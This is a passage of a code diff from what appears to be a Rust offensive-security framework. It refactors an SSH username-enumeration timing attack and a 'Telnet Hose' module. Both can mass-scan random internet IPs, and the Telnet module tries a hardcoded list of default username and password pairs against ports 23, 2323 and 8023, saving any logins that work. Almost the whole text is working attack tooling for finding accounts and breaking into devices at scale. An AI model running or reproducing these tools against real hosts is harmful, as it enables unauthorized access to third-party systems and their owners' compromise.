if sess.handshake().is_err() {
|
||||
return None;
|
||||
}
|
||||
|
||||
|
||||
// Try authentication with invalid password
|
||||
let invalid_password = format!("invalid_{}_{}", std::process::id(), start.elapsed().as_nanos());
|
||||
let invalid_password = format!(
|
||||
"invalid_{}_{}",
|
||||
std::process::id(),
|
||||
start.elapsed().as_nanos()
|
||||
);
|
||||
let _ = sess.userauth_password(username, &invalid_password);
|
||||
|
||||
|
||||
let elapsed = start.elapsed().as_secs_f64();
|
||||
Some(elapsed)
|
||||
}
|
||||
|
||||
/// Sample authentication timing for a username
|
||||
fn sample_auth_timing(host: &str, port: u16, username: &str, samples: usize, timeout_secs: u64) -> Option<f64> {
|
||||
fn sample_auth_timing(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
samples: usize,
|
||||
timeout_secs: u64,
|
||||
) -> Option<f64> {
|
||||
let mut times = Vec::new();
|
||||
|
||||
|
||||
for _ in 0..samples {
|
||||
if let Some(t) = time_auth_attempt(host, port, username, timeout_secs) {
|
||||
times.push(t);
|
||||
@@ -93,11 +140,11 @@ fn sample_auth_timing(host: &str, port: u16, username: &str, samples: usize, tim
|
||||
// Small delay between samples
|
||||
std::thread::sleep(Duration::from_millis(100));
|
||||
}
|
||||
|
||||
|
||||
if times.is_empty() {
|
||||
return None;
|
||||
}
|
||||
|
||||
|
||||
// Return average
|
||||
Some(times.iter().sum::<f64>() / times.len() as f64)
|
||||
}
|
||||
@@ -115,7 +162,9 @@ fn load_usernames(path: &str) -> Result<Vec<String>> {
|
||||
Ok(usernames)
|
||||
}
|
||||
|
||||
/// Enumerate valid users via timing attack
|
||||
/// Enumerate valid users via timing attack.
|
||||
/// Uses spawn_blocking to avoid blocking the tokio runtime, since
|
||||
/// SSH timing attacks require synchronous I/O for measurement accuracy.
|
||||
pub async fn enumerate_users(
|
||||
host: &str,
|
||||
port: u16,
|
||||
@@ -124,40 +173,96 @@ pub async fn enumerate_users(
|
||||
timeout_secs: u64,
|
||||
threshold: f64,
|
||||
) -> Vec<String> {
|
||||
println!("{}", format!("[*] Enumerating users on {}:{} (timing attack)", host, port).cyan());
|
||||
println!("{}", format!("[*] Testing {} usernames with {} samples each", usernames.len(), samples).cyan());
|
||||
println!("{}", format!("[*] Timing threshold: {:.3}s", threshold).cyan());
|
||||
println!();
|
||||
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Enumerating users on {}:{} (timing attack)", host, port).cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Testing {} usernames with {} samples each",
|
||||
usernames.len(),
|
||||
samples
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Timing threshold: {:.3}s", threshold).cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
|
||||
let host = host.to_string();
|
||||
let usernames = usernames.to_vec();
|
||||
|
||||
// Run the blocking timing attack in a dedicated thread to avoid starving the runtime
|
||||
let result = tokio::task::spawn_blocking(move || {
|
||||
enumerate_users_blocking(&host, port, &usernames, samples, timeout_secs, threshold)
|
||||
})
|
||||
.await;
|
||||
|
||||
match result {
|
||||
Ok(users) => users,
|
||||
Err(e) => {
|
||||
crate::meprintln!("{}", format!("[-] Enumeration task failed: {}", e).red());
|
||||
Vec::new()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Synchronous implementation of timing-based user enumeration.
|
||||
fn enumerate_users_blocking(
|
||||
host: &str,
|
||||
port: u16,
|
||||
usernames: &[String],
|
||||
samples: usize,
|
||||
timeout_secs: u64,
|
||||
threshold: f64,
|
||||
) -> Vec<String> {
|
||||
// Establish baseline with known-invalid user
|
||||
let baseline_user = format!("nonexistent_{}_{}", std::process::id(), Instant::now().elapsed().as_nanos());
|
||||
println!("{}", "[*] Establishing baseline timing...".cyan());
|
||||
|
||||
let baseline_user = format!(
|
||||
"nonexistent_{}_{}",
|
||||
std::process::id(),
|
||||
Instant::now().elapsed().as_nanos()
|
||||
);
|
||||
crate::mprintln!("{}", "[*] Establishing baseline timing...".cyan());
|
||||
|
||||
let baseline = match sample_auth_timing(host, port, &baseline_user, samples, timeout_secs) {
|
||||
Some(t) => {
|
||||
println!("{}", format!("[*] Baseline timing: {:.3}s", t).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Baseline timing: {:.3}s", t).cyan());
|
||||
t
|
||||
}
|
||||
None => {
|
||||
println!("{}", "[-] Failed to establish baseline - cannot reach target".red());
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[-] Failed to establish baseline - cannot reach target".red()
|
||||
);
|
||||
return Vec::new();
|
||||
}
|
||||
};
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Testing usernames...".cyan());
|
||||
|
||||
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "[*] Testing usernames...".cyan());
|
||||
|
||||
let mut valid_users = Vec::new();
|
||||
|
||||
|
||||
for (i, user) in usernames.iter().enumerate() {
|
||||
print!("\r[{}/{}] Testing: {} ", i + 1, usernames.len(), user);
|
||||
crate::mprint!(
|
||||
"\r[{}/{}] Testing: {} ",
|
||||
i + 1,
|
||||
usernames.len(),
|
||||
user
|
||||
);
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
|
||||
|
||||
match sample_auth_timing(host, port, user, samples, timeout_secs) {
|
||||
Some(t) => {
|
||||
let diff = t - baseline;
|
||||
if diff.abs() > threshold {
|
||||
println!("\r{}", format!("[+] Valid user: {} (timing diff: {:+.3}s)", user, diff).green());
|
||||
crate::mprintln!(
|
||||
"\r{}",
|
||||
format!("[+] Valid user: {} (timing diff: {:+.3}s)", user, diff).green()
|
||||
);
|
||||
valid_users.push(user.clone());
|
||||
}
|
||||
}
|
||||
@@ -166,150 +271,171 @@ pub async fn enumerate_users(
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "=== Results ===".cyan().bold());
|
||||
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "=== Results ===".cyan().bold());
|
||||
if valid_users.is_empty() {
|
||||
println!("{}", "[-] No valid users found via timing attack".yellow());
|
||||
println!("{}", "[*] Note: This technique may not work on all SSH configurations".dimmed());
|
||||
crate::mprintln!("{}", "[-] No valid users found via timing attack".yellow());
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[*] Note: This technique may not work on all SSH configurations".dimmed()
|
||||
);
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid user(s):", valid_users.len()).green());
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Found {} valid user(s):", valid_users.len()).green()
|
||||
);
|
||||
for user in &valid_users {
|
||||
println!(" - {}", user.green());
|
||||
crate::mprintln!(" - {}", user.green());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
valid_users
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
async fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
|
||||
let hint = if default { "Y/n" } else { "y/N" };
|
||||
print!("{} [{}]: ", message, hint);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => Ok(default),
|
||||
"y" | "yes" => Ok(true),
|
||||
"n" | "no" => Ok(false),
|
||||
_ => Ok(default),
|
||||
}
|
||||
}
|
||||
|
||||
/// Default usernames to test
|
||||
const DEFAULT_USERNAMES: &[&str] = &[
|
||||
"root", "admin", "user", "test", "guest",
|
||||
"ubuntu", "www-data", "daemon", "bin", "sys",
|
||||
"nobody", "mysql", "postgres", "oracle", "ftp",
|
||||
"ssh", "apache", "nginx", "tomcat", "redis",
|
||||
"root", "admin", "user", "test", "guest", "ubuntu", "www-data", "daemon", "bin", "sys",
|
||||
"nobody", "mysql", "postgres", "oracle", "ftp", "ssh", "apache", "nginx", "tomcat", "redis",
|
||||
];
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
|
||||
// Mass scan mode: random IPs, target file, or CIDR subnet (all handled concurrently)
|
||||
if is_mass_scan_target(target) {
|
||||
return run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "SSH User Enum",
|
||||
default_port: 22,
|
||||
state_file: "ssh_user_enum_mass_state.log",
|
||||
default_output: "ssh_user_enum_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
|ip: std::net::IpAddr, port: u16| async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(5)).await {
|
||||
return None;
|
||||
}
|
||||
// Quick timing test with a few default usernames
|
||||
let host = ip.to_string();
|
||||
let test_users = ["root", "admin", "ubuntu", "test", "user"];
|
||||
let mut valid = Vec::new();
|
||||
// Baseline with known-invalid user
|
||||
let baseline = time_auth_attempt(&host, port, "xyznonexistent12345", 5)?;
|
||||
for user in &test_users {
|
||||
if let Some(elapsed) = time_auth_attempt(&host, port, user, 5) {
|
||||
if (elapsed - baseline).abs() > 0.3 {
|
||||
valid.push(*user);
|
||||
}
|
||||
}
|
||||
}
|
||||
if !valid.is_empty() {
|
||||
let msg = format!("{}:{}:valid_users={}", ip, port, valid.join(","));
|
||||
crate::mprintln!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
return Some(format!("{}\n", msg));
|
||||
}
|
||||
None
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
let host = normalize_target(target);
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get parameters
|
||||
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(DEFAULT_SSH_PORT);
|
||||
let samples: usize = prompt_default("Samples per username", "3").await?.parse().unwrap_or(DEFAULT_SAMPLES);
|
||||
let timeout: u64 = prompt_default("Connection timeout (seconds)", "10").await?.parse().unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||
let threshold: f64 = prompt_default("Timing threshold (seconds)", "0.3").await?.parse().unwrap_or(TIMING_THRESHOLD);
|
||||
|
||||
let port: u16 = cfg_prompt_default("ssh_port", "SSH Port", "22")
|
||||
.await?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_SSH_PORT);
|
||||
let samples: usize = cfg_prompt_default("samples", "Samples per username", "3")
|
||||
.await?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_SAMPLES);
|
||||
let timeout: u64 = cfg_prompt_default("timeout", "Connection timeout (seconds)", "10")
|
||||
.await?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||
let threshold: f64 = cfg_prompt_default("threshold", "Timing threshold (seconds)", "0.3")
|
||||
.await?
|
||||
.parse()
|
||||
.unwrap_or(TIMING_THRESHOLD);
|
||||
|
||||
// Get usernames
|
||||
let mut usernames: Vec<String> = Vec::new();
|
||||
|
||||
if prompt_yes_no("Load usernames from file?", false).await? {
|
||||
let file_path = prompt("Username file path").await?;
|
||||
|
||||
if cfg_prompt_yes_no("load_usernames_file", "Load usernames from file?", false).await? {
|
||||
let file_path = cfg_prompt_required("username_file", "Username file path").await?;
|
||||
if !file_path.is_empty() {
|
||||
match load_usernames(&file_path) {
|
||||
Ok(loaded) => {
|
||||
println!("{}", format!("[*] Loaded {} usernames from file", loaded.len()).cyan());
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} usernames from file", loaded.len()).cyan()
|
||||
);
|
||||
usernames.extend(loaded);
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
crate::mprintln!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// Add default usernames?
|
||||
if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true).await? {
|
||||
if usernames.is_empty()
|
||||
|| cfg_prompt_yes_no(
|
||||
"use_default_usernames",
|
||||
"Also test default usernames?",
|
||||
true,
|
||||
)
|
||||
.await?
|
||||
{
|
||||
for user in DEFAULT_USERNAMES {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames to test"));
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", format!("[*] Will test {} usernames", usernames.len()).cyan());
|
||||
println!();
|
||||
|
||||
|
||||
crate::mprintln!();
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Will test {} usernames", usernames.len()).cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
|
||||
// Run enumeration
|
||||
let valid_users = enumerate_users(&host, port, &usernames, samples, timeout, threshold).await;
|
||||
|
||||
|
||||
// Save results?
|
||||
if !valid_users.is_empty() && prompt_yes_no("Save valid users to file?", true).await? {
|
||||
let output_path = prompt_default("Output file", "valid_ssh_users.txt").await?;
|
||||
let mut file = File::create(&output_path)?;
|
||||
if !valid_users.is_empty()
|
||||
&& cfg_prompt_yes_no("save_results", "Save valid users to file?", true).await?
|
||||
{
|
||||
let output_path =
|
||||
cfg_prompt_default("output_file", "Output file", "valid_ssh_users.txt").await?;
|
||||
let mut file = {
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
opts.open(&output_path)?
|
||||
};
|
||||
writeln!(file, "# Valid SSH users for {}:{}", host, port)?;
|
||||
for user in &valid_users {
|
||||
writeln!(file, "{}", user)?;
|
||||
}
|
||||
println!("{}", format!("[+] Saved to: {}", output_path).green());
|
||||
crate::mprintln!("{}", format!("[+] Saved to: {}", output_path).green());
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] SSH user enumeration complete".green());
|
||||
|
||||
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "[*] SSH user enumeration complete".green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,50 +1,98 @@
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use rand::Rng;
|
||||
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
|
||||
use std::sync::Arc;
|
||||
use std::net::SocketAddr;
|
||||
use std::time::{Duration, Instant};
|
||||
use tokio::fs::OpenOptions;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt, BufReader};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::process::Command;
|
||||
use tokio::sync::Semaphore;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use tokio::time::timeout;
|
||||
|
||||
// Hardcoded exclusions (Private + Cloudflare + Google + Link Local etc)
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", // Private
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8", // Multicast/Reserved
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32", // Carrier/LinkLocal/Broadcast
|
||||
// Cloudflare
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32",
|
||||
// Google
|
||||
"8.8.8.8/32", "8.8.4.4/32"
|
||||
];
|
||||
use crate::modules::creds::utils::{run_mass_scan, MassScanConfig};
|
||||
use crate::utils::{cfg_prompt_output_file, cfg_prompt_yes_no};
|
||||
|
||||
use colored::*;
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "Telnet Hose (Mass Default Credential Check)".to_string(),
|
||||
description: "Rapidly tests default credentials against Telnet services across large IP ranges. Supports mass scanning with concurrent connections and multiple default port checks.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
// Top 3 Telnet Ports
|
||||
const TELNET_PORTS: &[u16] = &[23, 2323, 8023];
|
||||
|
||||
// Default Credentials (Mixed Cartesian Product will be generated from these)
|
||||
const TOP_USERS: &[&str] = &["root", "admin", "user", "support", "guest"];
|
||||
const TOP_PASS: &[&str] = &["root", "admin", "user", "1234", "123456", "password", "password123", "default", "support", "guest", ""];
|
||||
// Default Credentials (user, pass) tuples
|
||||
const TOP_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("root", "root"),
|
||||
("root", "admin"),
|
||||
("root", "user"),
|
||||
("root", "1234"),
|
||||
("root", "123456"),
|
||||
("root", "password"),
|
||||
("root", "password123"),
|
||||
("root", "default"),
|
||||
("root", "support"),
|
||||
("root", "guest"),
|
||||
("root", ""),
|
||||
("admin", "root"),
|
||||
("admin", "admin"),
|
||||
("admin", "user"),
|
||||
("admin", "1234"),
|
||||
("admin", "123456"),
|
||||
("admin", "password"),
|
||||
("admin", "password123"),
|
||||
("admin", "default"),
|
||||
("admin", "support"),
|
||||
("admin", "guest"),
|
||||
("admin", ""),
|
||||
("user", "root"),
|
||||
("user", "admin"),
|
||||
("user", "user"),
|
||||
("user", "1234"),
|
||||
("user", "123456"),
|
||||
("user", "password"),
|
||||
("user", "password123"),
|
||||
("user", "default"),
|
||||
("user", "support"),
|
||||
("user", "guest"),
|
||||
("user", ""),
|
||||
("support", "root"),
|
||||
("support", "admin"),
|
||||
("support", "user"),
|
||||
("support", "1234"),
|
||||
("support", "123456"),
|
||||
("support", "password"),
|
||||
("support", "password123"),
|
||||
("support", "default"),
|
||||
("support", "support"),
|
||||
("support", "guest"),
|
||||
("support", ""),
|
||||
("guest", "root"),
|
||||
("guest", "admin"),
|
||||
("guest", "user"),
|
||||
("guest", "1234"),
|
||||
("guest", "123456"),
|
||||
("guest", "password"),
|
||||
("guest", "password123"),
|
||||
("guest", "default"),
|
||||
("guest", "support"),
|
||||
("guest", "guest"),
|
||||
("guest", ""),
|
||||
("1234", "1234"),
|
||||
];
|
||||
|
||||
// Keywords to match in help output (must match at least 2)
|
||||
const HELP_KEYWORDS: &[&str] = &[
|
||||
"show", "user", "system", "help", "exit", "quit", "logout", "enable", "config", "command", "menu", "admin"
|
||||
"show", "user", "system", "help", "exit", "quit", "logout", "enable", "config", "command",
|
||||
"menu", "admin",
|
||||
];
|
||||
|
||||
// Internal Logic Constants
|
||||
const CONCURRENCY: usize = 500;
|
||||
const CONNECT_TIMEOUT_MS: u64 = 2000;
|
||||
const LOGIN_TIMEOUT_MS: u64 = 6000; // Total time for a login attempt
|
||||
const OUTPUT_FILE: &str = "telnet_hose_results.txt";
|
||||
const STATE_FILE: &str = "telnet_hose_state.log"; // Stores "checked: <ip>"
|
||||
|
||||
#[derive(Debug, PartialEq, Clone, Copy)]
|
||||
enum TelnetState {
|
||||
@@ -58,214 +106,119 @@ enum TelnetState {
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", "=== Telnet Hose Mass Scanner ===".bold().cyan());
|
||||
println!("Target Mode: {}", if target.is_empty() || target == "random" { "Internet Random" } else { target });
|
||||
println!("Concurrency: {}", CONCURRENCY);
|
||||
println!("Exclusions: Enabled (Private + Cloudflare + Google)");
|
||||
println!("Output: {}", OUTPUT_FILE);
|
||||
|
||||
// Parse exclusions
|
||||
let mut exclusion_subnets = Vec::new();
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusion_subnets.push(net);
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusion_subnets);
|
||||
|
||||
// Prepare Credential Combos
|
||||
let mut creds = Vec::new();
|
||||
for u in TOP_USERS {
|
||||
for p in TOP_PASS {
|
||||
creds.push((u.to_string(), p.to_string()));
|
||||
}
|
||||
}
|
||||
// Also add reverse (pass as user) just in case for some
|
||||
creds.push(("1234".to_string(), "1234".to_string()));
|
||||
let creds = Arc::new(creds);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(CONCURRENCY));
|
||||
let stats_checked = Arc::new(AtomicUsize::new(0));
|
||||
let stats_found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
// Spawn stats reporter
|
||||
let s_checked = stats_checked.clone();
|
||||
let s_found = stats_found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(5)).await;
|
||||
println!(
|
||||
"[*] Status: {} IPs checked, {} Creds found",
|
||||
s_checked.load(Ordering::Relaxed),
|
||||
s_found.load(Ordering::Relaxed).to_string().green().bold()
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
if target.is_empty() || target == "random" || target == "0.0.0.0/0" {
|
||||
// Random Mode
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.unwrap();
|
||||
let exc = exclusions.clone();
|
||||
let cr = creds.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
|
||||
// Check if already tested
|
||||
if !is_ip_checked(&ip).await {
|
||||
mark_ip_checked(&ip).await;
|
||||
scan_ip(Some(ip), cr, sf).await;
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results?", false).await?;
|
||||
let results_file = if save_results {
|
||||
Some(
|
||||
cfg_prompt_output_file(
|
||||
"results_file",
|
||||
"Results output file",
|
||||
"telnet_hose_creds.txt",
|
||||
)
|
||||
.await?,
|
||||
)
|
||||
} else {
|
||||
// File/List Mode
|
||||
// We assume 'target' is a file path since it's a "hose" module
|
||||
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
|
||||
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
|
||||
|
||||
if lines.is_empty() {
|
||||
println!("No targets found in file or invalid target string.");
|
||||
return Ok(());
|
||||
}
|
||||
None
|
||||
};
|
||||
|
||||
println!("Loaded {} IPs from list", lines.len());
|
||||
let results_file_clone = results_file.clone();
|
||||
let verbose_flag = verbose;
|
||||
|
||||
for ip_str in lines {
|
||||
let permit = semaphore.clone().acquire_owned().await.unwrap();
|
||||
let cr = creds.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let ip = ip_str.clone();
|
||||
// Use the shared mass scan engine with telnet probe
|
||||
run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "Telnet-Hose",
|
||||
default_port: 23,
|
||||
state_file: "telnet_hose_state.log",
|
||||
default_output: "telnet_hose_results.txt",
|
||||
default_concurrency: 500,
|
||||
},
|
||||
move |ip, port| {
|
||||
let rf = results_file_clone.clone();
|
||||
async move {
|
||||
// Also try alternate telnet ports beyond the configured one
|
||||
let ports_to_try: Vec<u16> = if TELNET_PORTS.contains(&port) {
|
||||
TELNET_PORTS.to_vec()
|
||||
} else {
|
||||
let mut v = vec![port];
|
||||
v.extend_from_slice(TELNET_PORTS);
|
||||
v.sort_unstable();
|
||||
v.dedup();
|
||||
v
|
||||
};
|
||||
|
||||
tokio::spawn(async move {
|
||||
if !is_ip_checked(&ip).await {
|
||||
mark_ip_checked(&ip).await;
|
||||
scan_ip(ip.parse().ok(), cr, sf).await;
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
|
||||
// Wait for all tasks to finish (simple hack: try to acquire all semaphores)
|
||||
// In a real hose, we just run until done.
|
||||
for _ in 0..CONCURRENCY {
|
||||
let _ = semaphore.acquire().await.unwrap();
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
|
||||
let mut excluded = false;
|
||||
for net in exclusions {
|
||||
if net.contains(ip_addr) {
|
||||
excluded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if !excluded {
|
||||
return ip_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn is_ip_checked(ip: &impl ToString) -> bool {
|
||||
// Grep for "checked: <ip>" in state file
|
||||
let ip_s = ip.to_string();
|
||||
let status = Command::new("grep")
|
||||
.arg("-F")
|
||||
.arg("-q")
|
||||
.arg(format!("checked: {}", ip_s))
|
||||
.arg(STATE_FILE)
|
||||
.status()
|
||||
.await;
|
||||
|
||||
match status {
|
||||
Ok(s) => s.success(), // Grep returns 0 (true) if found
|
||||
Err(_) => false, // File might not exist yet
|
||||
}
|
||||
}
|
||||
|
||||
async fn mark_ip_checked(ip: &impl ToString) {
|
||||
let data = format!("checked: {}\n", ip.to_string());
|
||||
if let Ok(mut file) = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(STATE_FILE)
|
||||
.await
|
||||
{
|
||||
let _ = file.write_all(data.as_bytes()).await;
|
||||
}
|
||||
}
|
||||
|
||||
async fn save_result(ip: &str, port: u16, user: &str, pass: &str) {
|
||||
let data = format!("{}:{} {}:{}\n", ip, port, user, pass);
|
||||
println!("{} {}", "[+] HOSE SUCCESS:".green().bold(), data.trim());
|
||||
if let Ok(mut file) = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(OUTPUT_FILE)
|
||||
.await
|
||||
{
|
||||
let _ = file.write_all(data.as_bytes()).await;
|
||||
}
|
||||
}
|
||||
|
||||
async fn scan_ip(
|
||||
ip_opt: Option<IpAddr>,
|
||||
creds: Arc<Vec<(String, String)>>,
|
||||
stats_found: Arc<AtomicUsize>
|
||||
) {
|
||||
let Some(ip) = ip_opt else { return };
|
||||
let ip_str = ip.to_string();
|
||||
|
||||
let mut handles = Vec::new();
|
||||
|
||||
for &port in TELNET_PORTS {
|
||||
let socket_addr = SocketAddr::new(ip, port);
|
||||
let creds = creds.clone();
|
||||
let stats_found = stats_found.clone();
|
||||
let ip_str = ip_str.clone();
|
||||
|
||||
handles.push(tokio::spawn(async move {
|
||||
// Quick Connect Check
|
||||
if timeout(Duration::from_millis(CONNECT_TIMEOUT_MS), TcpStream::connect(&socket_addr)).await.is_err() {
|
||||
return;
|
||||
}
|
||||
|
||||
// Port is open, try credentials
|
||||
for (user, pass) in creds.iter() {
|
||||
match try_telnet_login_hose(&socket_addr, user, pass).await {
|
||||
Ok(true) => {
|
||||
save_result(&ip_str, port, user, pass).await;
|
||||
stats_found.fetch_add(1, Ordering::Relaxed);
|
||||
return; // Stop after first success on this port
|
||||
for &p in &ports_to_try {
|
||||
let socket = SocketAddr::new(ip, p);
|
||||
// Quick connect check
|
||||
if verbose_flag {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] Checking {}:{} connectivity...", ip, p).dimmed()
|
||||
);
|
||||
}
|
||||
if !crate::utils::tcp_port_open(ip, p, std::time::Duration::from_secs(2)).await
|
||||
{
|
||||
if verbose_flag {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] {}:{} - port closed/filtered", ip, p).dimmed()
|
||||
);
|
||||
}
|
||||
continue;
|
||||
}
|
||||
if verbose_flag {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] {}:{} - port open, trying credentials...", ip, p)
|
||||
.dimmed()
|
||||
);
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
}));
|
||||
}
|
||||
|
||||
// Wait for all ports to finish checking
|
||||
for h in handles {
|
||||
